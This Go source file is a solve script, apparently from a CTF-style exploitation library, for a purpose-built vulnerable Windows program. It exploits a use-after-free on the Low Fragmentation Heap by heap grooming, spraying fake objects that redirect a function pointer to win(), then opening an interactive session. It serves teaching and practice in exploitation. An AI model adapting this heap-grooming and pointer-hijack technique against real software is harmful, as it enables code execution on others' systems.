/*
Solve script for heap_lfh.exe (see src/heap_lfh.c): a use-after-free on a
real, explicitly-LFH-mode Windows heap (HeapCompatibilityInformation=2),
not a simulation.

The grooming trick, found empirically while building this example (see
USAGE.md's "Walkthrough 3" for the full story): LFH only reuses a freed
slot quickly if it's freed from the *currently active* subsegment, which
in practice means the *most recently allocated* same-size object. Freeing
an early one can fail to come back for tens of thousands of attempts;
freeing the last one allocated reliably reuses within a handful of
allocations (1-16 in repeated empirical runs on this machine/OS build).

So: allocate a few filler notes, allocate the victim note *last*, free it,
then spray 32-byte buffers (each containing a fake onPrint pointing at
win()) until the leaked address of a spray matches the victim's leaked
address -- then call P on the victim id. The spray/retry loop itself is
winpwn.SprayAndFind (spray.go), not hand-rolled here -- examples/heap_segment
needed the same shape (spray N times, look for a match against known
samples) for a structurally different relation, which is exactly the
"third copy-paste" signal that means it belongs in the library, not a
script.

NOTE FOR TASK AUTHORS (not specific to this task -- read this before
designing your own heap challenge): every numeric "fact" this solve script
or its USAGE.md walkthrough states about LFH's behavior (attempt counts,
"most recently allocated reuses reliably") was measured empirically on one
specific Windows build/patch level, on one machine, today. LFH's internal
bucket layout, subsegment sizing, and reuse heuristics are NOT a stable
public contract -- they have changed across Windows versions before and can
again. If you reuse this technique on a different build (or even a
different machine), re-run the grooming experiment yourself (spray N,
free one, spray replacements, count attempts-to-reuse) before trusting any
specific number from this file or relying on "free the last one" as if it
were guaranteed forever. Treat every offset/heuristic in a heap task as
something to verify against *your actual target*, not something to copy
from someone else's writeup.
*/
package main

import (
	"bytes"
	"fmt"
	"log"
	"strconv"
	"strings"
	"winpwn"
)

// parseAddr extracts the "0x..." hex value following "addr=" in a line
// like "OK id=5 addr=0x0000000000aa08e0".
func parseAddr(line []byte) (uint64, error) {
	idx := bytes.Index(line, []byte("addr=0x"))
	if idx == -1 {
		return 0, fmt.Errorf("no addr= in line %q", line)
	}
	hexPart := line[idx+len("addr=0x"):]
	hexPart = bytes.TrimSpace(hexPart)
	return strconv.ParseUint(string(hexPart), 16, 64)
}

func main() {
	pf, err := winpwn.OpenPE("heap_lfh.exe")
	if err != nil {
		log.Fatalf("OpenPE: %v", err)
	}
	winRVA, err := pf.GetProcAddress("win")
	if err != nil {
		log.Fatalf("win() not found: %v", err)
	}
	base, err := pf.ImageBase()
	if err != nil {
		log.Fatalf("ImageBase: %v", err)
	}
	winAddr := base + winRVA
	pf.Close()
	fmt.Printf("[+] win() address: 0x%X\n", winAddr)

	tube, err := winpwn.Spawn("heap_lfh.exe")
	if err != nil {
		log.Fatalf("Spawn: %v", err)
	}

	if _, err := tube.RecvLine(); err != nil { // "heap_lfh ready"
		log.Fatalf("RecvLine: %v", err)
	}

	// A few filler notes (any of these could be freed and would NOT
	// reliably come back quickly -- that's the empirical finding).
	for i := 0; i < 5; i++ {
		if err := tube.SendLine([]byte(fmt.Sprintf("A filler%d", i))); err != nil {
			log.Fatalf("SendLine: %v", err)
		}
		if _, err := tube.RecvLine(); err != nil {
			log.Fatalf("RecvLine: %v", err)
		}
	}

	// The victim note: allocated *last*, so its slot belongs to the
	// subsegment LFH is still actively issuing from.
	if err := tube.SendLine([]byte("A victim")); err != nil {
		log.Fatalf("SendLine: %v", err)
	}
	resp, err := tube.RecvLine()
	if err != nil {
		log.Fatalf("RecvLine: %v", err)
	}
	victimAddr, err := parseAddr(resp)
	if err != nil {
		log.Fatalf("parse victim addr: %v", err)
	}
	victimID := 5
	fmt.Printf("[+] victim note id=%d addr=0x%X\n", victimID, victimAddr)

	if err := tube.SendLine([]byte(fmt.Sprintf("F %d", victimID))); err != nil {
		log.Fatalf("SendLine: %v", err)
	}
	if _, err := tube.RecvLine(); err != nil {
		log.Fatalf("RecvLine: %v", err)
	}

	// Fake Note{ title[24], onPrint }: 24 bytes of filler (never read once
	// onPrint is redirected) + win()'s address where onPrint lives.
	payload := bytes.Repeat([]byte{0x41}, 24)
	payload = append(payload, winpwn.P64(winAddr)...)
	payloadHex := winpwn.Enhex(payload)

	// winpwn.SprayAndFind seeded with the one known target (the freed
	// victim's leaked address): every spray attempt is checked against it,
	// stopping the moment a replacement reuses that exact slot.
	const maxAttempts = 64
	victim := winpwn.SprayResult[uint64]{ID: victimID, Key: victimAddr}
	_, _, attempts, ok, err := winpwn.SprayAndFind(
		[]winpwn.SprayResult[uint64]{victim},
		maxAttempts,
		func(attempt int) (winpwn.SprayResult[uint64], error) {
			if err := tube.SendLine([]byte("B " + payloadHex)); err != nil {
				return winpwn.SprayResult[uint64]{}, fmt.Errorf("SendLine: %w", err)
			}
			resp, err := tube.RecvLine()
			if err != nil {
				return winpwn.SprayResult[uint64]{}, fmt.Errorf("RecvLine: %w", err)
			}
			if !strings.HasPrefix(string(resp), "OK") {
				return winpwn.SprayResult[uint64]{}, fmt.Errorf("unexpected response: %q", resp)
			}
			addr, err := parseAddr(resp)
			return winpwn.SprayResult[uint64]{ID: attempt, Key: addr}, err
		},
		func(a, b uint64) bool { return a == b },
	)
	if err != nil {
		log.Fatalf("spray: %v", err)
	}
	if !ok {
		log.Fatalf("never landed on the freed slot within %d attempts", maxAttempts)
	}
	fmt.Printf("[+] spray hit the freed slot after %d attempt(s)\n", attempts)

	if err := tube.SendLine([]byte(fmt.Sprintf("P %d", victimID))); err != nil {
		log.Fatalf("SendLine: %v", err)
	}

	tube.Interactive()
}